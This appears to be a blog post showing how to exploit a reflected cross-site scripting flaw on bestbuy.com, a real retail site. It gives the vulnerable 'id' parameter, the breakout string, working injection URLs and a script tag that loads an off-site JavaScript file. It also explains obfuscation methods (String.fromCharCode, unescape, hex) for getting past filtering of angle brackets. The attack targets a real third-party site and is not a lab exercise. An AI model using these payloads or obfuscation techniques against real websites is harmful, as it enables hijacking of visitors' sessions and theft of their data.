Let's take a look at http://www.bestbuy.com/ to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.
http://www.bestbuy.com/site/olspage.jsp?id=testA.,:;\'"<>()[]{}&type=categoryAnd here is the vulnerable line of JavaScript:By in injecting ",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array(" we can turn the vulnerable block of code into this:
ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])
At this point we can easily inject JavaScript
ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);
http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&type=categoryBut with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.
| Url Prefix | http://www.bestbuy.com/site/olspage.jsp?id= |
|---|---|
| Url Suffix | &type=category |
| Attack Vector Prefix | ",null,"/",triggerParms["domain"]); |
| Attack Vector Suffix | var x=new Array(" |
| Code | <script type="text/javascript" src="http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js"></script> |
Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for http://www.bestbuy.com
| String.fromCharCode | |
|---|---|
| String.fromCharCode + Partial Url Encode | |
| String.fromCharCode + Complete Url Encode | |
| Unescape Partial Encode | |
| Unescape Partial Encode + Partial Url Encode | |
| Unescape Partial Encode + Full Url Encode | |
| Unescape Full Encode | |
| Unescape Full Encode + Partial Url Encode | |
| Unescape Full Encode + Full Url Encode | |
| Unescape Unicode | |
| Unescape Unicode + Partial Url Encode | |
| Unescape Unicode + Full Url Encode | |
| Hex String | |
| Hext String + Partial Url Encode | |
| Hex String + Full Url Encode |
And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.
XSS JavaScript Obfuscator
| Url Prefix | Url Suffix |
| Attack Vector Prefix | Attack Vector Suffix |
| Code | Encoded Javascript |
| Partial Url Encode | Complete Url Encode |
| Decode Method String.fromCharCode call unescape partial encode call unescape full encode call unescape full unicode encode call hex string | Decode Return Call document.write eval |


No comments:
Post a Comment